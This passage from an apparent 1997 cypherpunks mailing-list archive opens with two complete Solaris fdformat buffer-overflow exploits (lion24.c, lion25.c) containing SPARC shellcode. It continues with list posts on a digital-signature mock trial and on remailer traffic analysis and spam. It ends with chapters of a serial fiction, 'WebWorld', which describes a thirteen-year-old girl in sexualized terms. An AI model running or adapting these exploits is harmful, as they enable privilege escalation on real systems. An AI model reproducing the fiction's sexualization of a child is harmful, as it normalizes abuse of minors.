   u_char sparc_shellcode[] =

   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0\x20\x08"
   ;
   
   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }
   
   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;
   
   if(argc > 1) dso=atoi(argv[1]);
   
   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;
   
   char_p = (u_char *) long_p;
   
   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];
   
   long_p = (u_long *) char_p;
   
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;
   
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/fdformat", "fdformat   ", &buf[0],(char *) 0);
   perror("execl failed");
   }
------------------------------ end of lion24.c --------------------------

-------------------------------- lion25.c ------------------------------
/* 
Solaris 2.5.1 - this exploited was compiled on Solaris2.4 and tested on
2.5.1
*/

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>
   
   #define BUF_LENGTH 364
   #define EXTRA 400
   #define STACK_OFFSET 704
   #define SPARC_NOP 0xa61cc013
   
   u_char sparc_shellcode[] =

   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0\x20\x08"
   ;
   
   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }
   
   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;
   
   if(argc > 1) dso=atoi(argv[1]);
   
   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;
   
   char_p = (u_char *) long_p;
   
   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];
   
   long_p = (u_long *) char_p;
   
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;
   
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/fdformat", "fdformat", & buf[1],(char *) 0);
   perror("execl failed");
   }

--------------------------- end of lion25.c -------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 23 Mar 1997 15:00:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Digital Signature Mock Trial
Message-ID: <v03020902af5b66138012@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-PGP-Key: <http://www.shore.net/~sable/info/rltkey.htm>
X-Sender: rodney@pop3.pn.com
Date: Sun, 23 Mar 1997 17:13:25 -0500
To: dcsb@ai.mit.edu
From: Rodney Thayer <rodney@sabletech.com>
Subject: Digital Signature Mock Trial
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Rodney Thayer <rodney@sabletech.com>

>Date: Fri, 21 Mar 1997 18:37:16 -0500
>From: Dan Greenwood <dan@civics.com>
>
>Digital Signature Mock Trial
>http://www.magnet.state.ma.us/itd/legal/mock1.htm
>
>The Commonwealth of Massachusetts Information Technology Division Legal
>Department will sponsor a mock trial based on a dispute over a digitally
>signed communication. This will be an online event, probably web-based.
>There will also be a half-day "court room" mock trial to be held in
>Boston in the spring. Anyone interested in helping to plan, or
>participate in one or both of these mock trials should contact Dan
>Greenwood at dgreenwood@state.ma.us.
>
>The purpose of this exercise will be to explore legal ramifications of
>deploying digital signature technology as a business tool, including:
>what grounds for a claim (consumer law, financial and banking law,
>common law, other?); what issues arise relative to preserving certain
>evidence for trial; the legal relationship between an "owner"
>(subscriber) of a digital signature, a relying party and a certification
>authority; what other evidentiary admissibility issues arise, how might
>certain contract terms be interpreted (i.e.: what arguments might be
>raised related to liability limitations, rights and duties under
>contract); etc. The case
>will be tried in a fictional jurisdiction and to fictional parties.
>
>The specific factual pattern (i.e.: who are the parties and what
>happened to them) will be developed so as to highlight areas of legal
>uncertainty and maximize the instructional value of this exercise. It is
>expected that this exercise will assist the
>Commonwealth of Massachusetts and other interested parties to more
>efficiently manage liability and to better anticipate legal issues as we
>look to deploy public key based network solutions.


--------
Rodney Thayer <rodney@sabletech.com>
PGP: BB1B6428 409129AC  076B9DE1 4C250DD8
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 23 Mar 1997 15:04:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Dr. Roberts" and his advice to the list
Message-ID: <199703232304.SAA02412@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. May wrote:
> At 10:25 AM -0800 3/23/97, "Dr. Roberts" wrote:

> >The remailer network itself may be treated as a black box.  This means
> >that if you suspect certain people are posting messages to a certain
> >list you need only watch the timing of the suspect's posts to verify
> >guesses.  This makes an attack on the remailer network quite
> >inexpensive because you need to monitor a relatively small number of
> >people in your jurisdiction.

> If a mix accumulates, say, 100 messages, and posts one of them to some
> destination, no amount of "timing" analysis points to which of the 100
> incoming messages was the  source...this is the essence of mixes/remailers.
> (Modulo the usual assumptions about message size, encryption, etc.)

  I wouldn't be so certain about this.
  Consider the fact that the remailers can be initially studied through
relatively _pure_ analysis, for starters. i.e. - a series of slow
periods of remailer use where and entity can ensure that almost all
of those 100 messages belong to them.
  Thus the remailer can be studied for non-random patterns that may be
unknown even to the operator himself.

  Then consider the fact that many of the people using remailers have
habits and patterns that can easily be studied and followed. 
  i.e. - Time periods online, standard delay time used in posting
commands, frequency and volume of their posts. 
  You must also consider context and syntax analysis that point to the 
true author of anonymous posts, and the fact that, once known, their
personal systems can be monitored to reveal the exact time and nature
of their input into the remailers.
  Even knowledge of killfiles can eliminate some of the overhead for
traffic analysis, eliminating some sources as being responsible for
volume of anonymous email directed at certain subjects or authors.

  Many of the factors involved in traffic analysis can be obtained
outside of the realm of actual input and output of the remailers
themselves, thus narrowing the range of _unknown_ factors in that
analysis.
  Certainly there has been much thought and consideration given to
the remailer system, by people who allow for various methods of attack
on and/or analysis of their system. However, the assumption of 100
_random_ messages can drop pretty fast when one takes into account
the number of factors that may turn some of these messages into 
quantifiable and easily analyzed entities. Add to this the possibility
of factors that are known to the attackers, but not to the defenders,
and the margin of security drops even further.

  Care must be taken to realize that even if one is making efforts to
conceal their email traffic, that the results of their efforts are
also affected by the person who always posts between 4 and 6 pm, who
always posts via the same remailer and who always uses a 2 hour delay 
command in his posts.
  One needs to remember, as well, that with the capabilities of autobots
and switching mechanisms, that to flood a system or systems at certain
critical times is an insignificant obstacle to inputing a large quantity
of _know_ data into the frame of analysis.
 
> >  Would anybody like to post some references?  What
> >is required to have a rock solid remailer network?
> >
> >Dr. Roberts
> 
> Why not do the research into these references yourself and then post them?

  This is an asinine statement.
  If you are interested in furthering the interests of privacy through 
encryption and remailers, why don't you aide someone asking for pointers
to better information?
  Is this list reserved for those who already know it all?
  Can you say "statist?" Sure, you can.

> As for what it would take to make a rock solid remailer network, go back
> and read some of the many hundreds of articles many of us have written on
> this subject, read Chaum's original 1981 CACM short article, and carefully
> study DC-Nets.

  If all information was in those articles, then I suspect that the
remailers would already be "rock solid."
  Rather than living in the past, as if all possibilities had already
been discussed and decided, it might better serve some list members to
take their hard-earned knowledge and apply it to today's situation,
with new technologies, methodologies, routings, etc.
  Not only have these things changed, but the types and number of
people who use them have also changed, thus changing the scope of
possible approaches to traffic analysis.

TruthMonger


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 23 Mar 1997 16:17:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
Message-ID: <199703240017.TAA05535@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


> >Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***

> >They are
> >dropping like flies, unfortunately.
> > use of the remailer to spam people who have
> > already turned off access to their accounts from other sources,

> > The final
> > straw was the use of the remailer to send out several
> > hundred "MAKE MONEY FAST"-style messages to a group of
> > folks who then rebelled or retaliated to the remailer itself;

  Several months ago, someone (Toto, I believe) posted a thoughtful
message suggesting that the burgeoning Internet would result in a
huge influx of carpetbaggers of one sort or another, and that the
established entities, such as lists and remailers, had best be making
plans to deal with the changing frontier or suffer the consequences.
  Another person, whose name escapes me, as she rarely posts, replied
that she thought the post would prove prophetic, much more so than
people believed.

  I mention this mostly to point out that it has been only a short time
since this prediction was made, and it is already coming to fruitation
in more than a few areas.
  Survival is going to mean adjustment to the fast changing conditions
of the growing Internet. Social and political issues are going to impact
developments as much or more than technology, and any entity which 
cannot adapt in these areas will die off, like the dinosaurs.

  While I sympathize with the remailer operators for having to deal with
spamming problems, spammers and assholes did not suddenly appear out of
nowhere in the recent past.
  The quickening pace of changes in the future will no longer allow
system operators and administrators to wait until problems become
unmanageable before they make plans to deal with them.

  In addition to pure anonymous remailers, perhaps there is a need for
variations, as well, which encompass varying forms of subscription or
authentication. Perhaps limiting the number of posts from an address,
raising that limit according to gained reputation capital.
  As far as anonymity being maintained, is it possible for the system
files which log identity/address to be encrypted with a password that
is not known to any human, but only to the system? i.e. - even with a
court order, there is no way for the operator to provide the info.
  Lessening the legal hassles could spread the use of remailers, with
many being resistant to abuse. Those to whom the anonymity is very
important would not have any problem finding the remaining pure 
remailers. Most of the quick-buck crowd would probably not make the 
effort to find them, having assumed, from the spam resistant remailers,
that they are not a valid option for them.

  If cypherpunks are serious about making remailers available to the 
public then we will need to make them both useable and functional for
those who might be open to running them.
  This cannot be done by making them only useful for 'pure' use. If 
someone were to design a remailer that would only let whites use it,
there would be a great hue and cry, but there would also be more 
remailers available, shortly thereafter. Then someone would design one 
that could only be used for minorities, etc.

  If you really want to spread the use of remailers, design them so that
you can make a pile of money off of them, in a good way. Then get rich
while you further their development and use.
  

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 23 Mar 1997 16:24:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 10-11
Message-ID: <3335C9C8.ADC@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet






:

Anon-To: cypherpunks@toad.com
Anon-Sender: Bubba Rom Dos <bubba@dev.null>
Anon-Reply To: gnu@toad.com
Cutmarks: --


The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


The God Channel


But I was talking about insanity, and I'm afraid
I've strayed rather far from my original train of thought.

There are no windows on Level 'Leven. There is no
way to keep track of the time of day, or even the passing of the
days. Meals are served at random times and the staff have erratic
schedules. It's done to keep the inmates off balance but it doesn't
really matter-because no one ever gets out of Level 'Leven.

Like I said, I'm not a Fund'er, I'm a Net'er, but
no one will ever believe me, because I'm in a Money Market facility.
And that just doesn't happen. Everybody knows that.

You see, on WebWorld the Channel Governments are
all independent of each other, with their own institutional and
social structures. The CG's don't like their citizens to mix-numbers
and ratings are everything.
There are five hundred different sets of laws, which one would
think would be confusing, but in practice it's not. Each CG has
their own policing system and the citizens acquire a thorough
understanding of what their social duties are through constant
exposure to their Channel.

You see, citizens are only allowed by law to watch
their own Channel.
Surprised? So were the citizens after the transfer of power.

At first they were ecstatic about the changes. For
the first month everyone received all five hundred channels absolutely
free, giving them time to decide which Channel to become citizens
of. 
And there were incentives-prizes, parties, free meals, free vacations.

The Sex Channel offered some rather interesting incentives
for new citizens. They did quite well in the final ratings (what
had formerly been called 'election results'), despite fierce competition
from the S&M Channel, the Group Sex Channel, the Lesbian Channel,
the 'Buck Futters' Channel, and a host of minor players vying
for the same basic audience.
The Credit Channel offered extravagant credit ratings to new citizens
(you can guess how long that lasted after they had committed themselves
to Card'er citizenship).

Anyway, I'm sure you get the picture.

At the end of the first month the 500 Channel Transition
Committee announced that, everyone now being citizenized, citizens
would be restricted to watching only their own Government Channel
for a one month period, in order for the citizens to become acquainted
to the new forms of society, their own in particular, without
distraction.
There was quite a bit of grumbling but, since the Channels continued
their promotional antics (and because the citizens had chosen
to join Channels corresponding to their major interest), things
went not only very smoothly but also quite pleasantly.
By the end of the one month restriction people were beginning
to look forward to more variety in their cerebral and visual diet
but the CG Transition Committee then announced that, due to some
rather complicated changes in the satellite transmission programming,
it would be another few weeks before the 500 Channels would be
available to everyone.

At this point there was again a lot of complaining,
but the CGTC announced that this would be an excellent time for
each Channel Government to use the interactive features of the
medium to get input from their citizens for a Channel Bill of
Rights for each individual Channel's citizens. This announcement
was received with great acclaim and, once the process had begun,
several months passed with much haggling back and forth involved.
During this period of time the citizens became rather politically
and emotionally bonded with their Channels.

Although the 500 CG's already had the new Channel-oriented
society mapped out down to the smallest of details, they were
very effective in using the Bill of Rights process to cement the
bond between the citizens and their Channel.
The citizens of each Channel, having the same fundamental interests
as their fellow constituents, would sometimes engage in heated
debates among themselves but, for the most part, they were all
pulling together in the same direction-exactly according to plan.

The individual CG's, while secretly coordinating their activities
through the InterNet, began releasing 'news' flashes and 'special
reports' on their various Channels suggesting, subtly at first,
that the other Channels were working towards including items in
their Bill of Rights that would adversely affect the citizens
of their own Channel's citizens.

There were suggestions that the Fund'ers wanted the
Money Channel to have a say in how large a credit-line the Shopping
Channel could make available to their citizens. The Shop'ers went
ape-shit over this, having joined the Channel with the express
purpose of spending every dime in their possession on 'combination
can opener-mouse traps' with genuine cubic zirconium embedded
in their sides in the shape of Elvis' shaky hips.
Naturally, the Shop'ers Channel Government came to the aid of
their citizens with a great show of bravado and saved the day,
thus earning their constituent's eternal gratitude.

The were rumors of the Top Cop Channel wanting sole
power over law enforcement, which didn't sit well with the Military
Channel, the Citizens Vigilante Channel, the Libertarian Channel,
or any of the various Criminal Channels, such as the Loose Screw
Gun Nut Channel.

You think I'm kidding, don't you?

You have to realize that at the time the Infrared
Fiber Optic Cable System originally made it possible to carry
five hundred channels into each and every home, that there were
only thirty or forty channels currently in existence, and even
those few channels were not uniformly distributed.
When the rush began to take advantage of WebTV's new capabilities,
it was initially a very small rush. Most of the more prudent
corporations and potential investors were reasonably cautious
about rushing into this expanded market and the majority held
back for a while in order to see where the best investment potential
would appear. This was not so with the religious and political
crusaders, the zealots, the fanatics, the extremists, the radicals,
and the 'just plain lunatics' in general. 
Every nutcase with a cause, a product, or plain and simple illusions
of grandeur, crawled out of the woodwork intending to use this
vast new hi-tech environment to further their own personal 'cause
celebre'. 

Believe it or not, the Loose Screw Gun Nut Channel,
generally known as the Gun'ers, was far from the most bizarre
of the original channel offerings.

By the time the enormous potential of this new technology
became obvious, the majority of the channels were already in the
hands of the lunatic fringe of the proletariat. The serious corporate
and political powers already 'in the loop' endeavored to keep
it that way in order to secure their advantage over potential
rivals capable of offering them genuine competition.

The smallest of the Channels was the God Channel,
which had only one member. It has always been a mystery as to
just who that member was-no one having ever seen him (or her)-but
there was much speculation on this point, especially among the
other religious Channels.

The Dualist Channel had only two members, the Trinity
Channel had three, but after Channel War I, when Channel ownership
went through drastic changes, the God Channel was the only one
of the three still in existence, and something strange occurred
which resulted in troubling consequences for the InterNet (which
actually formed-although it was no longer commonly known-the root
of the basic communication and database link for the whole planet).

There are many versions or explanations of what happened,
no two of them the same. Those in the best position to know, however,
are in basic agreement with the explanation privately espoused
by the InterNet's premier Computer Cowboy who, according to legend,
was the Head Hacker who was later linked in the mythology of the
'Circle of Eunuchs' to the lineage of the Fool and the GrandMaster.

The Cowboy, as he was called, followed the auditing
trail of all Channel ownership's from their inception through
to the point of their reorganization at the end of Channel War
I. According to the audit trail-so he claimed-the Dualist Channel
and the Trinity Channel did not actually cease to exist, at that
time, but had instead merely merged with the God Channel. 
This merger necessitated changing the records concerning the number
of Channel members in the God Channel's database. The InterNet
transaction logs indicated that the accounting records were changed
accurately, and in accordance with established procedure, but
the change somehow resulted in a strange and puzzling paradox
that caused bizarre errors throughout the whole InterNet computer
system.

The InterNet started experiencing random problems
all tied to inaccuracies in mathematical calculations occurring
in even the most rudimentary operations. This wreaked havoc throughout
the system for several days, perplexing even the most vaunted
of the InterNet's system analysts, until the Cowboy finally nailed
down the source of the problem.
He found that the database field recording the number of members
of the God Channel would change inexplicably in the midst of the
ongoing system audit checks which went on constantly in the operating
system background for the purpose of maintaining and verifying
data integrity. He told the System Management Board that, as the
system analysts had confirmed, all of the programs and procedures
were flawless and that everyone was in agreement that what was
happening was, in a word...impossible.

The Cowboy explained that he had even tried changing
the physical location of the data field, storing it in a ROM chip
(Read Only Memory) which the computer could not write to (and
thus could not change the content thereof), but could merely read
the value which was already stored-hard coded-therein.
The results were the same, regardless. Sometimes the system would
report back the Channel membership as one, sometimes as two, sometimes
as three, often differing in a matter of microseconds between
auditing checks.
Even worse, the results would change to various numbers ranging
from 1 to infinity at times which corresponded to the ancient
holy days of obscure religious sects from the past.

The systems analysts had even tried writing a program
which the system could reference without having to physically
read the ROM chip, a program which would give a constant result.
Even this didn't work (once again, mathematically impossible).

The InterNet management, faced with an impossible
paradox that was threatening not only the integrity, but the very
existence, of their system, was in a total panic and called an
emergency meeting of everyone involved. The meeting had come within
a hairbreadth of turning into total cyberhysteria when the Cowboy
came in, announcing to one and all that he had consulted with
a bottle of Jack Daniel's and another old friend, that the problem
was now resolved, and that there would be no further trouble in
this area.

The Cowboy resisted all efforts by the others to
garner specific details concerning his announcement, and he merely
replied that answering their questions would only replace one
mystery with another.
Even though he was questioned, threatened, offered bribes, and
put under constant surveillance by InterNet security forces, no
one ever learned the secret of how he had resolved the paradox,
nor whom he had consulted.

Until now.


Cowboy


The Cowboy had taken the time to dash off a hasty
email message to gomez@basis.inc, requesting a conference with
Bubba Rom Dos, ASAP, at the Last Chance Saloon. 

He removed all traces of the message from the InterNet
system, including the audit trail (technically impossible and
actually a felony), and scooted out the door to a rendezvous with
a legendary character from a mythological fable, who was waiting
for him in a back room at the Last Chance Saloon with a bottle
of Jack Daniel's, two glasses, a thirteen year-old nymphomaniac,
and a serious head-start in the "great race against sobriety",
as he so eloquently put it.

Bubba, a good friend of the nubile young girl's mother,
liked to drag her around with him for the purpose of perpetuating
the nefarious reputation he had garnered at the "original
allegorical meeting of the nonexistent Magic Circle", which
had in turn led to the "imaginary formation of the mythical
Circle of Eunuchs".
The preceding is the manner in which Bubba always replied to questions
regarding whether or not his tales of the Magic Circle were real
or parabolic (a term Bubba used to designate a parable distorted
by the effects of alcoholic delirium tremors).
The Cowboy always assumed this to mean that Bubba's explanation
was a Zen koan which, given long years of dedicated contemplation,
would lead one to the realization that the only aspect of the
myth that is true is the Jack Daniel's.

But I digress.

The solution to InterNet's dilemma was no problem
for Bubba. He merely let out a laugh, knocked back a healthy shot
of J.D. and said, "Oh yes. The 'Inaugural Enigma'."

He advised the Cowboy to install two separate entry
circuits at diametrically opposed points on a ROM chip that has
been hard-coded to the value NULL, using a diamond-laser Void
Enhancer. After that, he said, it was a simple matter of programming
the chip setting from both entry points simultaneously, one setting
it to the value 'zero' and the other setting it to the value 'infinity'.

The Cowboy contended that it was impossible to accomplish
a simultaneous dual hard-coding with the present state of technology,
but Bubba merely replied that it didn't really matter because
the problem the Cowboy was attempting to resolve was also impossible,
and that two paradoxes nullify each other, leaving only an enigma
in their wake, which was, after all, what caused all the trouble
in the first place.

Bubba leaned back in his chair, gave the young girl
a peck on the cheek, and drifted off to sleep.

The Cowboy, feeling perplexed and confused, quietly
made his exit, pausing at the door to glance back at the young
girl, who was softly stroking Bubba's brow. He had known the girl
and her mother for some time, but he had the mysterious feeling
that, somehow, there was much more to her than was apparent on
the surface.
The girl saw him watching her, and she gave him a shy, blushing
smile saying, "Try it. You might be surprised."

The Cowboy often wondered if she was reading his
mind, or if she was referring to Bubba's proposed solution. He
thought about her from time to time, wondering who she really
was, and always felt an uneasy sense of bewilderment that forced
him to think of something else instead.

It was the same feeling he experienced after he had
tried Bubba's solution, with a successful outcome that left an
air of disquieting emptiness in his mind. The system worked perfectly,
as it had before the problem arose. Everything was again exactly
the way it was before, except that something was different.
The same, but different. Another paradox that he instinctively
knew would someday lead to another enigma. The Cowboy reached
behind the system monitor for a bottle of Jack Daniel's he had
tucked away for special occasions. He didn't reach for it to celebrate.
He reached for it because he knew it was real.

The Cowboy reflected for a moment on whether he should
attempt to explain the solution to his InterNet compatriots, but
decided that there was some import of sacredness in the process
that should remain inviolate from those outside the Magic Circle.

He raised a glass in toast to Bubba Rom Dos, itinerant derelict
and philosopher extraordinare...and he thought about the girl.

I know you think I'm crazy. But you're also wondering
how I know all the details of a such a significant event in Channel
history that has remained unexplained for years. 
And you're wondering about the girl.

So am I. The legend is true...I was the Cowboy.


Chapter 10 - The God Channel / Chapter 11 - Cowboy


--
S a n d y 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 23 Mar 1997 17:56:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 12-14
Message-ID: <3335DEBF.5002@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Priscilla


"Lordy, lordy, Bubba.", Priscilla half-protested, "Are
you sure that it's not something else?" She knew that it
wasn't, so she did not wait for a reply before violently protesting.

"No, it can't be! It's not right! I won't allow it...not
in a million years. She's too young...It's too dangerous...Surely
he can't expect...

"He doesn't even suspect," Bubba pointed out,
"so he is not 'expecting' anything of Alexis."

Bubba knew that pointing out the obvious was fairly useless when
confronted with a mother's rightful concern over her daughter
quite possibly facing a destiny which would surely thrust her
directly from the pangs and throes of puberty into trials and
tribulations that would sorely test the strength and wisdom of
the most mature of souls fated to play a role in the great battle
taking shape to bring a final determination of the path of human
evolution.

"She's just a girl, Bubba." Priscilla was weeping,
now-resigned to, but not accepting, her daughter's destiny, should
she choose to follow it, to become a major participant in a legendary
movement whose history was strewn with many more sacrificial lambs
than vanquishing heroes.
"She's just a little girl." Priscilla looked with sadness
on her precious young daughter, who was oblivious to the discussion
between her mother and the wizened sage who had been responsible
for seeing her through the many odd twists and turns of life during
her formative years.

Bubba Rom Dos leaned forward and tapped Alexis lightly on the
forehead, and she answered the question which remained unspoken,
naturally, without noticing that she was speaking from an inner
point of her being.
"I suppose that the Cowboy is, realistically, much too old
for me. For us to have a physical relationship, I mean. I think
that I scared him the last time he came to visit Bubba."

Alexis laughed at the thought of her scaring the legendary
Cowboy, and then, to the surprise, partial delight, and
extreme consternation of Priscilla, threw her head back and laughed
the full, hearty laugh of a mature woman who knew that
her femininity and, what's more, her presence, had indeed
scared the hell out of a fully-grown, mature member of the male
species.
"Oh, Alexis. My darling Alexis."

Priscilla had thrown her arms around her daughter, and she was
now bawling like a baby over what she knew would shortly be the
passing of her daughter from pre-pubescence to maturity, with
her adolescence being abridged for the sake of a destiny which
was closing too quickly upon all of humanity to pause long enough
to allow a beautiful young girl to taste all of the flavors of
youth that should have rightfully been hers, as a matter of normal
human evolution.

Bubba tapped Alexis lightly on the forehead, once again, and she
saw, clearly, what the Cowboy had seen, but without confusion
and wonder as to the meaning of the sense of connection she felt
between them.

"Oh, my! Oh, my poor, sweet mother, don't feel sorry for
me."
Alexis hugged her mother close to her, trying to reassure her
that all was well, that all was as it should be (though
the realization of what lay before her was rather startling,
given the abrupt change of direction that it meant in her life).
She then consummated her entry into the maturity of full womanhood
by exclaiming what women have uttered from time immemorial upon
truly discovering that 'a man', their man, has entered
into their life.

"What the hell is wrong with him, mother? You'd think
I was some strange creature from another planet, or something.
He just looked at me, like I was some kind of problem
that he couldn't figure out! If he had any sense, any sense at
all, he would have swept me into his arms, kissed me passionately,
and declared to one and all how blessed he was to have such a
wonderful woman like me in his life."

Priscilla was now laughing through her tears, ready to accept
that her precious young daughter-having discovered for herself
the ultimate folly of the male species, the folly of being confused
by the obvious in matters pertaining to the linking of their heart
and their soul to the yin of their yang-had made the leap from
girlhood to womanhood without stumbling in the slightest.
"He's a man, dear. That's what's wrong
with him."

Priscilla and Alexis looked at each other, woman to woman, for
the first time, and then looked at Bubba, to see if he had any
objections to raise concerning their profound insights into the
state of the male species.

Bubba, remaining loyal to the unwavering tradition of true men
down through the ages, ignored the challenge to fight against
unwinnable odds against a superior opponent, and simply raised
his shot-glass to his lips while shaking his head and muttering,
under his breath, "Women..."

Priscilla and Alexis looked at one another, and shared a hearty,
womanly laugh, and hugged one another, once again.


Insanity Again


I was trying to explain the concept of 'insanity'
in WebWorld. I got sidetracked again, but I think I've explained
enough of the history of the 500 Channels and the evolution of
WebWorld that I can now make myself clear.

WebWorld never went back to unlimited broadcast of
the 500 Channels. By the time the Channel Governments and their
citizens had all established their own intrinsic Bill of Rights,
the CG's delays had given them time to accomplish the true purpose
of their shrewd maneuvering.
The populace was now oriented to a Channel based mental paradigm,
as opposed to the previous world order's geographical model of
cultural affinity. 

The transformation was complete. Thanks to the hypnotizing
power of the 'Tube', and the extraordinary information compilation
and communication capability of the InterNet, it had taken a matter
of months rather than generations to completely capture the hearts,
minds, and bodies of the populace on a level never before accomplished.

Total world-domination.
No, the control was not entirely complete. The 500 Channel reign
was not yet unequivocally omnipotent, but it would soon be time
for the GrandMaster to be revealed.

But excuse me, please...I digress. 


Each Channel Society, had their own culture, beliefs
and values consolidated around a central nucleus of group-mind
as it had rarely been since the time of primitive tribes striving
for survival against the primal forces that ruled the environment
they found themselves thrown into from the instant they began
their earthly existence.

Evolution had returned full-circle, and mankind was
face to face with a new dawn of the bicameral mind they had shared
at the time of their first appearance upon the material realm.

There was still a substantial vestige of underlying,
ingrained evolutionary patterns that were inherent in the populace
in general-patterns that might lead one to 'stray from the herd'
if they were indulged in to even the slightest extent. Certain
individuals, in particular, had to be culled from the rank and
file in order to avoid the possibility that they might 'contaminate'
the others.

Many people originally tried getting around the Unitary
Channel Circumscription Law, but TV was, by this time, both visual
and sound interactive. Whoever you were looking at on the 'tube'
was, in all likelihood, 'looking back'. Anyone who attempted to
watch a Channel other than their Home Channel was generally apprehended
immediately. Most of the 'wayward sheep' were brought into line
quite easily by a few days of exposure to the Unitary Rehabilitation
Channel. The potentially more serious misfits were culled rather
quickly and sent to psychiatric facilities for an extensive, in-depth
cerebral adjustment.

Each institution graded their inmates at various
levels, according to the amount of treatment they needed (and
their potentiality for 'infecting' less wayward inmates), and
they were then separated accordingly.
The few cases that were deemed to be hopelessly incurable were
quarantined at Level Eleven status with no treatment administered
and no possibility of release...ever.

There was no thought of execution, the current scientific
judgment being that, upon death, the mental energy of the inmate's
ethereal body would return to the group-mind pool (due to the
strong magnetic-gravitational pull engendered by the current level
of homeostasis that had been achieved in the group-mindset of
the general populace), and this would contaminate the unity that
had already achieved.

The injurious and frightful disruption of the InterNet
system (which was commonly referred to as the 'Parker Paradox',
a nickname given to the event by the Computer Cowboy History Channel),
was still viewed by the Channel hierarchy with much trepidation,
as they had seen the results that could come from even a trivial
inaccuracy in an otherwise impeccable macrocosm.

They had never managed to discover the Cowboy's secret
in regard to the resolution of the Parker Paradox and, truth be
known, they actually had no idea what the nature of the problem
really was.

The long and short of the situation was this: For
all of their success in accomplishing an unprecedented mastery
over the overwhelming majority of mankind, the Channel hierarchy
still had an instinctual, gut-level feeling that, despite their
having managed to get their cards 'all-in-a-row', as the saying
